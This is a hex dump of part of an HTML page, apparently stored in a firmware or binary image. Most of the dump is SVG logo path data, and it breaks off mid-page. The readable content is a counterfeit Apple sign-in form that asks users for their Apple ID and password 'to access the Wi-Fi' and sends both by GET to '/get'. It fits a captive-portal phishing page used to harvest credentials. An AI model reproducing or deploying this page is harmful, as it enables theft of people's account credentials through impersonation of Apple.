00f7d4c0 34 20 32 34 34 20 31 34 30 20 35 32 38 20 31 32 |4 244 140 528 12|
|
||||
00f7d4d0 35 20 37 36 35 20 6c 2d 36 20 31 30 32 20 2d 35 |5 765 l-6 102 -5|
|
||||
00f7d4e0 31 20 2d 31 20 63 2d 32 38 20 2d 31 20 2d 38 35 |1 -1 c-28 -1 -85|
|
||||
00f7d4f0 20 2d 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 | -7.. |
|
||||
00f7d500 20 20 20 20 20 20 20 20 20 2d 31 32 36 20 2d 31 | -126 -1|
|
||||
00f7d510 34 7a 22 20 2f 3e 0d 0a 0d 0a 20 20 20 20 20 20 |4z" />.... |
|
||||
00f7d520 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 | <p|
|
||||
00f7d530 61 74 68 20 64 3d 22 4d 36 36 33 35 20 37 34 39 |ath d="M6635 749|
|
||||
00f7d540 39 20 63 2d 32 33 38 20 2d 32 36 20 2d 34 39 34 |9 c-238 -26 -494|
|
||||
00f7d550 20 2d 39 32 20 2d 38 37 30 20 2d 32 32 36 20 2d | -92 -870 -226 -|
|
||||
00f7d560 34 38 37 20 2d 31 37 34 20 2d 36 34 37 20 2d 32 |487 -174 -647 -2|
|
||||
00f7d570 31 39 20 2d 37 33 37 0d 0a 20 20 20 20 20 20 20 |19 -737.. |
|
||||
00f7d580 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 32 30 | -20|
|
||||
00f7d590 39 20 2d 38 31 20 31 30 20 2d 32 37 34 20 36 34 |9 -81 10 -274 64|
|
||||
00f7d5a0 20 2d 34 36 33 20 31 33 31 20 2d 34 31 33 20 31 | -463 131 -413 1|
|
||||
00f7d5b0 34 37 20 2d 35 31 30 20 31 37 39 20 2d 36 35 30 |47 -510 179 -650|
|
||||
00f7d5c0 20 32 31 35 20 2d 31 39 36 20 35 30 20 2d 33 33 | 215 -196 50 -33|
|
||||
00f7d5d0 34 20 37 30 0d 0a 20 20 20 20 20 20 20 20 20 20 |4 70.. |
|
||||
00f7d5e0 20 20 20 20 20 20 20 20 20 20 2d 34 38 38 20 37 | -488 7|
|
||||
00f7d5f0 30 20 2d 34 32 32 20 30 20 2d 38 36 33 20 2d 31 |0 -422 0 -863 -1|
|
||||
00f7d600 33 35 20 2d 31 32 34 35 20 2d 33 38 32 20 2d 35 |35 -1245 -382 -5|
|
||||
00f7d610 33 31 20 2d 33 34 33 20 2d 39 31 37 20 2d 39 30 |31 -343 -917 -90|
|
||||
00f7d620 32 20 2d 31 30 38 37 20 2d 31 35 37 33 20 2d 38 |2 -1087 -1573 -8|
|
||||
00f7d630 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 |3.. |
|
||||
00f7d640 20 20 20 20 20 20 20 2d 33 32 37 20 2d 31 31 30 | -327 -110|
|
||||
00f7d650 20 2d 35 39 33 20 2d 31 30 32 20 2d 31 30 30 33 | -593 -102 -1003|
|
||||
00f7d660 20 37 20 2d 33 36 34 20 34 31 20 2d 36 34 33 20 | 7 -364 41 -643 |
|
||||
00f7d670 31 32 31 20 2d 39 39 37 20 31 36 31 20 2d 37 31 |121 -997 161 -71|
|
||||
00f7d680 31 20 34 38 36 20 2d 31 34 37 30 20 38 36 33 0d |1 486 -1470 863.|
|
||||
00f7d690 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |. |
|
||||
00f7d6a0 20 20 20 20 20 2d 32 30 31 34 20 35 35 39 20 2d | -2014 559 -|
|
||||
00f7d6b0 38 30 37 20 39 38 35 20 2d 31 31 38 38 20 31 34 |807 985 -1188 14|
|
||||
00f7d6c0 31 30 20 2d 31 32 36 32 20 31 30 31 20 2d 31 38 |10 -1262 101 -18|
|
||||
00f7d6d0 20 33 32 35 20 2d 36 20 34 35 33 20 32 34 20 31 | 325 -6 453 24 1|
|
||||
00f7d6e0 32 33 20 32 39 20 33 31 36 20 39 32 20 35 32 32 |23 29 316 92 522|
|
||||
00f7d6f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
|
||||
00f7d700 20 20 20 20 20 20 31 37 31 20 35 31 38 20 31 39 | 171 518 19|
|
||||
00f7d710 38 20 39 32 32 20 32 32 35 20 31 33 38 37 20 39 |8 922 225 1387 9|
|
||||
00f7d720 31 20 35 30 20 2d 31 35 20 31 36 31 20 2d 35 34 |1 50 -15 161 -54|
|
||||
00f7d730 20 32 34 38 20 2d 38 37 20 32 30 31 20 2d 37 37 | 248 -87 201 -77|
|
||||
00f7d740 20 34 30 33 20 2d 31 34 31 20 35 32 39 0d 0a 20 | 403 -141 529.. |
|
||||
00f7d750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7d760 20 20 20 2d 31 36 38 20 31 32 34 20 2d 32 37 20 | -168 124 -27 |
|
||||
00f7d770 33 34 32 20 2d 33 37 20 34 34 34 20 2d 32 31 20 |342 -37 444 -21 |
|
||||
00f7d780 31 37 39 20 32 38 20 33 37 30 20 31 30 38 20 35 |179 28 370 108 5|
|
||||
00f7d790 34 30 20 32 32 39 20 33 35 30 20 32 34 37 20 38 |40 229 350 247 8|
|
||||
00f7d7a0 38 37 20 39 34 36 20 31 32 30 30 0d 0a 20 20 20 |87 946 1200.. |
|
||||
00f7d7b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7d7c0 20 31 35 36 32 20 39 36 20 31 39 30 20 32 35 31 | 1562 96 190 251|
|
||||
00f7d7d0 20 35 36 31 20 32 39 34 20 37 30 37 20 36 20 32 | 561 294 707 6 2|
|
||||
00f7d7e0 30 20 2d 35 20 32 38 20 2d 31 31 31 20 38 31 20 |0 -5 28 -111 81 |
|
||||
00f7d7f0 2d 32 32 39 20 31 31 34 20 2d 33 39 38 20 32 33 |-229 114 -398 23|
|
||||
00f7d800 37 20 2d 35 39 34 20 34 33 32 0d 0a 20 20 20 20 |7 -594 432.. |
|
||||
00f7d810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7d820 2d 33 33 32 20 33 33 30 20 2d 35 31 39 20 37 30 |-332 330 -519 70|
|
||||
00f7d830 32 20 2d 35 38 35 20 31 31 36 37 20 2d 32 33 20 |2 -585 1167 -23 |
|
||||
00f7d840 31 36 32 20 2d 32 33 20 34 36 38 20 30 20 36 32 |162 -23 468 0 62|
|
||||
00f7d850 37 20 34 33 20 32 39 36 20 31 34 30 20 35 35 38 |7 43 296 140 558|
|
||||
00f7d860 20 32 39 33 20 37 39 31 0d 0a 20 20 20 20 20 20 | 293 791.. |
|
||||
00f7d870 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 35 | 15|
|
||||
00f7d880 38 20 32 33 39 20 33 39 34 20 34 36 38 20 36 36 |8 239 394 468 66|
|
||||
00f7d890 31 20 36 34 30 20 6c 39 31 20 35 38 20 2d 36 31 |1 640 l91 58 -61|
|
||||
00f7d8a0 20 38 30 20 63 2d 32 37 37 20 33 36 33 20 2d 36 | 80 c-277 363 -6|
|
||||
00f7d8b0 37 30 20 36 32 35 20 2d 31 31 34 32 20 37 36 31 |70 625 -1142 761|
|
||||
00f7d8c0 20 2d 33 30 36 20 38 39 0d 0a 20 20 20 20 20 20 | -306 89.. |
|
||||
00f7d8d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 36 | -6|
|
||||
00f7d8e0 37 39 20 31 33 31 20 2d 39 32 31 20 31 30 35 7a |79 131 -921 105z|
|
||||
00f7d8f0 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |" />.. |
|
||||
00f7d900 20 20 20 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 | </g>.. |
|
||||
00f7d910 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0d 0a | </svg>..|
|
||||
00f7d920 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a | </div>..|
|
||||
00f7d930 0d 0a 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0d |.. </header>.|
|
||||
00f7d940 0a 0d 0a 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c |..... <div cl|
|
||||
00f7d950 61 73 73 3d 22 6d 61 69 6e 22 3e 0d 0a 20 20 20 |ass="main">.. |
|
||||
00f7d960 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f | <form actio|
|
||||
00f7d970 6e 3d 22 2f 67 65 74 22 20 69 64 3d 22 65 6d 61 |n="/get" id="ema|
|
||||
00f7d980 69 6c 2d 66 6f 72 6d 2d 73 74 65 70 22 20 6d 65 |il-form-step" me|
|
||||
00f7d990 74 68 6f 64 3d 22 47 45 54 22 3e 0d 0a 20 20 20 |thod="GET">.. |
|
||||
00f7d9a0 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 | <div id|
|
||||
00f7d9b0 3d 22 73 69 67 6e 22 3e 0d 0a 20 20 20 20 20 20 |="sign">.. |
|
||||
00f7d9c0 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 53 69 | <h2>Si|
|
||||
00f7d9d0 67 6e 20 69 6e 3c 2f 68 32 3e 0d 0a 20 20 20 20 |gn in</h2>.. |
|
||||
00f7d9e0 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e | <h2>|
|
||||
00f7d9f0 55 73 65 20 79 6f 75 72 20 41 70 70 6c 65 20 49 |Use your Apple I|
|
||||
00f7da00 44 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 |D to access the |
|
||||
00f7da10 57 69 2d 46 69 3c 2f 68 32 3e 0d 0a 20 20 20 20 |Wi-Fi</h2>.. |
|
||||
00f7da20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a | </div>..|
|
||||
00f7da30 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 | <div|
|
||||
00f7da40 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 69 | class="input" i|
|
||||
00f7da50 64 3d 22 69 6e 70 75 74 54 65 78 74 22 3e 0d 0a |d="inputText">..|
|
||||
00f7da60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7da70 3c 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 |<div>.. |
|
||||
00f7da80 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 | <inpu|
|
||||
00f7da90 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 6e |t type="email" n|
|
||||
00f7daa0 61 6d 65 3d 22 65 6d 61 69 6c 22 20 70 6c 61 63 |ame="email" plac|
|
||||
00f7dab0 65 68 6f 6c 64 65 72 3d 22 41 70 70 6c 65 20 49 |eholder="Apple I|
|
||||
00f7dac0 44 22 20 69 64 3d 22 61 70 70 6c 65 69 64 22 20 |D" id="appleid" |
|
||||
00f7dad0 72 65 71 75 69 72 65 64 3e 0d 0a 20 20 20 20 20 |required>.. |
|
||||
00f7dae0 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 | </div|
|
||||
00f7daf0 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 |>.. |
|
||||
00f7db00 20 20 20 3c 64 69 76 3e 0d 0a 20 20 20 20 20 20 | <div>.. |
|
||||
00f7db10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 | <i|
|
||||
00f7db20 6e 70 75 74 20 74 79 70 65 3d 22 70 61 73 73 77 |nput type="passw|
|
||||
00f7db30 6f 72 64 22 20 6e 61 6d 65 3d 22 70 61 73 73 77 |ord" name="passw|
|
||||
00f7db40 6f 72 64 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 |ord" placeholder|
|
||||
00f7db50 3d 22 50 61 73 73 77 6f 72 64 22 20 69 64 3d 22 |="Password" id="|
|
||||
00f7db60 70 61 73 73 77 6f 72 64 22 20 72 65 71 75 69 72 |password" requir|
|
||||
00f7db70 65 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |ed>.. |
|
||||
00f7db80 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 | </div>.. |
|
||||
00f7db90 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d | </div>.|
|
||||
00f7dba0 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 |. <di|
|
||||
00f7dbb0 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 3e 0d |v class="logo">.|
|
||||
00f7dbc0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |. |
|
||||
00f7dbd0 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 | <button class="|
|
||||
00f7dbe0 62 75 74 74 6f 6e 22 20 74 79 70 65 3d 22 73 75 |button" type="su|
|
||||
00f7dbf0 62 6d 69 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 |bmit">.. |
|
||||
00f7dc00 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 | <svg|
|
||||
00f7dc10 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 | version="1.0" x|
|
||||
00f7dc20 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 |mlns="http://www|
|
||||
00f7dc30 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 |.w3.org/2000/svg|
|
||||
00f7dc40 22 20 77 69 64 74 68 3d 22 35 31 32 2e 30 30 30 |" width="512.000|
|
||||
00f7dc50 30 30 30 70 74 22 20 68 65 69 67 68 74 3d 22 35 |000pt" height="5|
|
||||
00f7dc60 31 32 2e 30 30 30 30 30 30 70 74 22 0d 0a 20 20 |12.000000pt".. |
|
||||
00f7dc70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7dc80 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 | viewBox="0|
|
||||
00f7dc90 20 30 20 35 31 32 2e 30 30 30 30 30 30 20 35 31 | 0 512.000000 51|
|
||||
00f7dca0 32 2e 30 30 30 30 30 30 22 20 70 72 65 73 65 72 |2.000000" preser|
|
||||
00f7dcb0 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 |veAspectRatio="x|
|
||||
00f7dcc0 4d 69 64 59 4d 69 64 20 6d 65 65 74 22 3e 0d 0a |MidYMid meet">..|
|
||||
00f7dcd0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
|
||||
00f7dce0 20 20 20 20 20 20 20 20 20 20 3c 67 20 74 72 61 | <g tra|
|
||||
00f7dcf0 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 |nsform="translat|
|
||||
00f7dd00 65 28 30 2e 30 30 30 30 30 30 2c 35 31 32 2e 30 |e(0.000000,512.0|
|
||||
00f7dd10 30 30 30 30 30 29 20 73 63 61 6c 65 28 30 2e 31 |00000) scale(0.1|
|
||||
00f7dd20 30 30 30 30 30 2c 2d 30 2e 31 30 30 30 30 30 29 |00000,-0.100000)|
|
||||
00f7dd30 22 20 66 69 6c 6c 3d 22 23 30 30 30 30 30 30 22 |" fill="#000000"|
|
||||
00f7dd40 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
|
||||
00f7dd50 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 | st|
|
||||
00f7dd60 72 6f 6b 65 3d 22 6e 6f 6e 65 22 3e 0d 0a 20 20 |roke="none">.. |
|
||||
00f7dd70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7dd80 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 | <path |
|
||||
00f7dd90 64 3d 22 4d 32 33 33 30 20 35 31 31 30 20 63 2d |d="M2330 5110 c-|
|
||||
00f7dda0 34 39 34 20 2d 34 38 20 2d 39 35 30 20 2d 32 33 |494 -48 -950 -23|
|
||||
00f7ddb0 30 20 2d 31 33 35 30 20 2d 35 33 38 20 2d 31 39 |0 -1350 -538 -19|
|
||||
00f7ddc0 35 20 2d 31 35 30 20 2d 34 34 38 20 2d 34 33 32 |5 -150 -448 -432|
|
||||
00f7ddd0 20 2d 35 39 34 0d 0a 20 20 20 20 20 20 20 20 20 | -594.. |
|
||||
00f7dde0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7ddf0 20 20 20 2d 36 36 32 20 2d 36 33 20 2d 39 39 20 | -662 -63 -99 |
|
||||
00f7de00 2d 31 38 36 20 2d 33 35 31 20 2d 32 33 30 20 2d |-186 -351 -230 -|
|
||||
00f7de10 34 37 31 20 2d 35 31 20 2d 31 33 39 20 2d 31 30 |471 -51 -139 -10|
|
||||
00f7de20 33 20 2d 33 34 34 20 2d 31 32 38 20 2d 35 30 34 |3 -344 -128 -504|
|
||||
00f7de30 20 2d 33 31 20 2d 32 30 30 20 2d 33 31 0d 0a 20 | -31 -200 -31.. |
|
||||
00f7de40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7de50 20 20 20 20 20 20 20 20 20 20 20 2d 35 35 30 20 | -550 |
|
||||
00f7de60 30 20 2d 37 35 30 20 34 33 20 2d 32 37 33 20 31 |0 -750 43 -273 1|
|
||||
00f7de70 31 34 20 2d 35 30 30 20 32 33 37 20 2d 37 35 30 |14 -500 237 -750|
|
||||
00f7de80 20 31 33 32 20 2d 32 36 39 20 32 36 39 20 2d 34 | 132 -269 269 -4|
|
||||
00f7de90 36 30 20 34 38 39 20 2d 36 38 31 20 32 32 31 20 |60 489 -681 221 |
|
||||
00f7dea0 2d 32 32 30 0d 0a 20 20 20 20 20 20 20 20 20 20 |-220.. |
|
||||
00f7deb0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7dec0 20 20 34 31 32 20 2d 33 35 37 20 36 38 31 20 2d | 412 -357 681 -|
|
||||
00f7ded0 34 38 39 20 32 34 37 20 2d 31 32 31 20 34 36 39 |489 247 -121 469|
|
||||
00f7dee0 20 2d 31 39 32 20 37 34 35 20 2d 32 33 37 20 31 | -192 745 -237 1|
|
||||
00f7def0 39 35 20 2d 33 31 20 35 36 35 20 2d 33 31 20 37 |95 -31 565 -31 7|
|
||||
00f7df00 36 30 20 30 20 32 37 36 20 34 35 0d 0a 20 20 20 |60 0 276 45.. |
|
||||
00f7df10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7df20 20 20 20 20 20 20 20 20 20 34 39 38 20 31 31 36 | 498 116|
|
||||
00f7df30 20 37 34 35 20 32 33 37 20 32 36 39 20 31 33 32 | 745 237 269 132|
|
||||
00f7df40 20 34 36 30 20 32 36 39 20 36 38 31 20 34 38 39 | 460 269 681 489|
|
||||
00f7df50 20 32 32 30 20 32 32 31 20 33 35 37 20 34 31 32 | 220 221 357 412|
|
||||
00f7df60 20 34 38 39 20 36 38 31 20 31 32 33 20 32 35 30 | 489 681 123 250|
|
||||
00f7df70 20 31 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 | 194.. |
|
||||
00f7df80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7df90 20 20 34 37 37 20 32 33 37 20 37 35 30 20 33 31 | 477 237 750 31|
|
||||
00f7dfa0 20 32 30 30 20 33 31 20 35 35 30 20 30 20 37 35 | 200 31 550 0 75|
|
||||
00f7dfb0 30 20 2d 34 33 20 32 37 33 20 2d 31 31 34 20 35 |0 -43 273 -114 5|
|
||||
00f7dfc0 30 30 20 2d 32 33 37 20 37 35 30 20 2d 31 33 32 |00 -237 750 -132|
|
||||
00f7dfd0 20 32 36 39 20 2d 32 36 39 20 34 36 30 0d 0a 20 | 269 -269 460.. |
|
||||
00f7dfe0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7dff0 20 20 20 20 20 20 20 20 20 20 20 2d 34 38 39 20 | -489 |
|
||||
00f7e000 36 38 31 20 2d 32 32 31 20 32 32 30 20 2d 34 31 |681 -221 220 -41|
|
||||
00f7e010 32 20 33 35 37 20 2d 36 38 31 20 34 38 39 20 2d |2 357 -681 489 -|
|
||||
00f7e020 32 34 36 20 31 32 31 20 2d 34 37 34 20 31 39 33 |246 121 -474 193|
|
||||
00f7e030 20 2d 37 34 30 20 32 33 35 20 2d 31 34 37 20 32 | -740 235 -147 2|
|
||||
00f7e040 33 20 2d 34 37 35 0d 0a 20 20 20 20 20 20 20 20 |3 -475.. |
|
||||
00f7e050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e060 20 20 20 20 33 34 20 2d 36 31 35 20 32 30 7a 20 | 34 -615 20z |
|
||||
00f7e070 6d 34 33 30 20 2d 33 35 31 20 63 38 37 32 20 2d |m430 -351 c872 -|
|
||||
00f7e080 37 39 20 31 36 32 32 20 2d 36 37 35 20 31 38 39 |79 1622 -675 189|
|
||||
00f7e090 36 20 2d 31 35 30 36 20 33 35 30 20 2d 31 30 36 |6 -1506 350 -106|
|
||||
00f7e0a0 30 20 2d 31 34 35 20 2d 32 32 31 32 0d 0a 20 20 |0 -145 -2212.. |
|
||||
00f7e0b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e0c0 20 20 20 20 20 20 20 20 20 20 2d 31 31 35 36 20 | -1156 |
|
||||
00f7e0d0 2d 32 36 39 31 20 2d 31 30 39 36 20 2d 35 31 39 |-2691 -1096 -519|
|
||||
00f7e0e0 20 2d 32 34 31 36 20 2d 34 34 20 2d 32 39 33 38 | -2416 -44 -2938|
|
||||
00f7e0f0 20 31 30 35 38 20 2d 33 39 37 20 38 33 37 20 2d | 1058 -397 837 -|
|
||||
00f7e100 32 32 31 20 31 38 34 31 20 34 33 38 20 32 35 30 |221 1841 438 250|
|
||||
00f7e110 30 20 34 36 35 0d 0a 20 20 20 20 20 20 20 20 20 |0 465.. |
|
||||
00f7e120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e130 20 20 20 34 36 35 20 31 31 30 38 20 36 39 39 20 | 465 1108 699 |
|
||||
00f7e140 31 37 36 30 20 36 33 39 7a 22 20 2f 3e 0d 0a 20 |1760 639z" />.. |
|
||||
00f7e150 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e160 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 | <path|
|
||||
00f7e170 20 64 3d 22 4d 32 37 33 35 20 33 37 30 32 20 63 | d="M2735 3702 c|
|
||||
00f7e180 2d 37 39 20 2d 32 38 20 2d 31 32 37 20 2d 39 33 |-79 -28 -127 -93|
|
||||
00f7e190 20 2d 31 32 37 20 2d 31 37 32 20 31 20 2d 32 37 | -127 -172 1 -27|
|
||||
00f7e1a0 20 38 20 2d 36 31 20 31 36 20 2d 37 37 20 38 20 | 8 -61 16 -77 8 |
|
||||
00f7e1b0 2d 31 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |-15.. |
|
||||
00f7e1c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e1d0 20 31 36 38 20 2d 31 38 31 20 33 35 35 20 2d 33 | 168 -181 355 -3|
|
||||
00f7e1e0 36 38 20 6c 33 34 31 20 2d 33 34 30 20 2d 39 39 |68 l341 -340 -99|
|
||||
00f7e1f0 32 20 2d 35 20 63 2d 38 39 39 20 2d 35 20 2d 39 |2 -5 c-899 -5 -9|
|
||||
00f7e200 39 36 20 2d 37 20 2d 31 30 32 33 20 2d 32 32 20 |96 -7 -1023 -22 |
|
||||
00f7e210 2d 36 34 20 2d 33 35 20 2d 39 37 0d 0a 20 20 20 |-64 -35 -97.. |
|
||||
00f7e220 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e230 20 20 20 20 20 20 20 20 20 2d 39 30 20 2d 39 37 | -90 -97|
|
||||
00f7e240 20 2d 31 35 38 20 30 20 2d 36 38 20 33 33 20 2d | -158 0 -68 33 -|
|
||||
00f7e250 31 32 33 20 39 37 20 2d 31 35 38 20 32 37 20 2d |123 97 -158 27 -|
|
||||
00f7e260 31 35 20 31 32 34 20 2d 31 37 20 31 30 32 33 20 |15 124 -17 1023 |
|
||||
00f7e270 2d 32 32 20 6c 39 39 32 20 2d 35 20 2d 33 34 31 |-22 l992 -5 -341|
|
||||
00f7e280 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
|
||||
00f7e290 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 33 | -3|
|
||||
00f7e2a0 34 30 20 63 2d 31 38 37 20 2d 31 38 37 20 2d 33 |40 c-187 -187 -3|
|
||||
00f7e2b0 34 37 20 2d 33 35 33 20 2d 33 35 35 20 2d 33 36 |47 -353 -355 -36|
|
||||
00f7e2c0 38 20 2d 32 30 20 2d 33 37 20 2d 32 30 20 2d 31 |8 -20 -37 -20 -1|
|
||||
00f7e2d0 31 37 20 30 20 2d 31 35 35 20 32 34 20 2d 34 36 |17 0 -155 24 -46|
|
||||
00f7e2e0 20 38 34 20 2d 39 30 0d 0a 20 20 20 20 20 20 20 | 84 -90.. |
|
||||
00f7e2f0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e300 20 20 20 20 20 31 33 32 20 2d 39 38 20 38 37 20 | 132 -98 87 |
|
||||
00f7e310 2d 31 33 20 39 38 20 2d 34 20 36 32 32 20 35 31 |-13 98 -4 622 51|
|
||||
00f7e320 39 20 32 36 36 20 32 36 35 20 34 39 36 20 35 30 |9 266 265 496 50|
|
||||
00f7e330 32 20 35 31 32 20 35 32 36 20 34 30 20 36 30 20 |2 512 526 40 60 |
|
||||
00f7e340 34 36 20 31 30 31 20 32 35 20 31 35 39 0d 0a 20 |46 101 25 159.. |
|
||||
00f7e350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e360 20 20 20 20 20 20 20 20 20 20 20 2d 31 35 20 34 | -15 4|
|
||||
00f7e370 30 20 2d 39 30 20 31 32 30 20 2d 35 30 34 20 35 |0 -90 120 -504 5|
|
||||
00f7e380 33 35 20 2d 32 36 37 20 32 36 39 20 2d 35 30 35 |35 -267 269 -505|
|
||||
00f7e390 20 35 30 32 20 2d 35 32 38 20 35 31 38 20 2d 34 | 502 -528 518 -4|
|
||||
00f7e3a0 33 20 33 30 20 2d 31 31 31 20 34 34 20 2d 31 34 |3 30 -111 44 -14|
|
||||
00f7e3b0 38 20 33 31 7a 22 20 2f 3e 0d 0a 20 20 20 20 20 |8 31z" />.. |
|
||||
00f7e3c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
|
||||
00f7e3d0 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 20 20 20 | </g>.. |
|
||||
00f7e3e0 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 | </s|
|
||||
00f7e3f0 76 67 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |vg>.. |
|
||||
00f7e400 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a | </button>..|
|
||||
00f7e410 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 | </di|
|
||||
00f7e420 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |v>.. |
|
||||
00f7e430 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 70 75 |<div class="inpu|
|
||||
00f7e440 74 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |t2">.. |
|
||||
00f7e450 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 | <input typ|
|
||||
00f7e460 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d |e="checkbox" nam|
|
||||
00f7e470 65 3d 22 72 65 6d 65 6d 62 65 72 22 20 69 64 3d |e="remember" id=|
|
||||
00f7e480 22 72 65 6d 65 6d 62 65 72 22 3e 3c 6c 61 62 65 |"remember"><labe|
|
||||
00f7e490 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 22 |l for="remember"|
|
||||
00f7e4a0 20 69 64 3d 22 72 32 22 3e 52 65 6d 65 6d 62 65 | id="r2">Remembe|
|
||||
00f7e4b0 72 20 6d 65 3c 2f 6c 61 62 65 6c 3e 0d 0a 20 20 |r me</label>.. |
|
||||
00f7e4c0 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e | </div>|
|
||||
00f7e4d0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 |.. <h|
|
||||
00f7e4e0 34 3e 3c 61 20 68 72 65 66 3d 22 23 22 3e 46 6f |4><a href="#">Fo|
|
||||
00f7e4f0 72 67 6f 74 20 41 70 70 6c 65 20 49 44 20 6f 72 |rgot Apple ID or|
|
||||
00f7e500 20 70 61 73 73 77 6f 72 64 3f 3c 2f 61 3e 3c 73 | password?</a><s|
|
||||
00f7e510 70 61 6e 3e 3c 69 20 63 6c 61 73 73 3d 27 62 78 |pan><i class='bx|
|
||||
00f7e520 20 62 78 2d 75 70 2d 61 72 72 6f 77 2d 61 6c 74 | bx-up-arrow-alt|
|
||||
00f7e530 27 3e 3c 2f 69 3e 3c 2f 73 70 61 6e 3e 3c 2f 68 |'></i></span></h|
|
||||
00f7e540 34 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |4>.. |
|
||||
00f7e550 3c 68 34 3e 44 6f 6e 74 27 74 20 68 61 76 65 20 |<h4>Dont't have |
|
||||
00f7e560 61 6e 20 41 70 70 6c 65 20 49 44 3f 20 3c 61 20 |an Apple ID? <a |
|
||||
